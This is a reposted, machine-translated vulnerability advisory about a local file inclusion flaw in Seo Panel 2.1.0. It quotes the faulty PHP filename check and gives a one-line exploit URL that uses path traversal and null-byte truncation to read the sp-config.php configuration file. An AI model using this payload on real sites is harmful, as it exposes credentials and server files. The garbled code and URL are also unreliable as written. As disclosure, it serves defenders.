Seo Panel 2.1.0 local File Inclusion Vulnerability and repair

Source: Internet
Author: User


Vulnerability Type: File Inclusion
Vulnerability Description: Seo Panel is a search optimization console that provides a comprehensive analysis tool for SEO optimization.

Vulnerability analysis: the local file inclusion vulnerability exists in Seo Panel because download. php GET does not use the correct parameters, resulting in % 00 truncation to form local file inclusion.

Download. ctrl. php: (Line 55-62)

55 function isValidFile ($ fileName ){

56 $ fileName = urldecode ($ fileName );

// This tries to prevent directory traversal

57 $ fileName = str_replace (../, $ fileName );

58 if (preg_match (/. xml $ |. html $ |. txt $/I, $ fileName )){

59 return $ fileName;

60}

61 return false;

62}


EXP:

Seopanel/download. php? Filesec = sitemap & filetype = text & file =... // config/sp-config.php000000.txt "> http: // site/seopanel/download. php? Filesec = sitemap & filetype = text & file =... // config/sp-config.php000000.txt

Www.2cto.com provides a solution: download. php GET uses the correct parameters.

 


 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.